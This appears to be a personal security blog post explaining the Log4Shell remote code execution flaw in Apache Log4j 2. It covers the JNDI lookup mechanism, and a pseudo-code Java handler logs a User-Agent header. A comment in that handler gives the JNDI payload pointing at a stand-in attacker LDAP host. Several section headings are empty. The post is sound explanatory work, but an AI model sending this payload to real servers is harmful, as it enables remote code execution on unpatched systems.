Share some knowledge, skills and others — security research, pentesting notes and more.

View on GitHub
10 December 2021

Log4J Remote Code Execution

by allencharp

Reference

Log4Shell — CVE-2021-44228 analysis

Introduction

Log4Shell (CVE-2021-44228) is one of the most severe vulnerabilities ever found in Java: a remote code execution in Apache Log4j 2, one of the most widely used logging libraries. Because Log4j logs attacker-controlled strings (user agents, headers, usernames, …) by default, a single crafted input is enough to trigger the bug on any affected application.

Vulnerability mechanism

Log4j 2 supports lookups in log messages: placeholders like ${env:HOME} or ${jndi:ldap://...} are resolved at runtime. The ${jndi:...} lookup passes the URL to Java’s JNDI (Java Naming and Directory Interface). JNDI can load remote objects over LDAP (and other protocols); an attacker-controlled LDAP server can return a reference to a remote Java class, which the JVM fetches and executes — giving the attacker arbitrary code execution in the target’s JVM.

Affected Apache log4j versions

Sample vulnerable code

The following pseudo-code logs an attacker-controlled HTTP header — the classic trigger:

import java.io.*;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Exploit steps

Mitigation

Scan tool

log4j-scanner

Summary

Log4Shell shows how a “harmless” logging feature (JNDI lookups in log messages) becomes a full RCE when combined with attacker-controlled log input. The fix is both simple (upgrade) and hard (finding every affected jar in the ecosystem) — which is why it remains one of the best case studies in software supply chain security.

tags: web-security - log4j - rce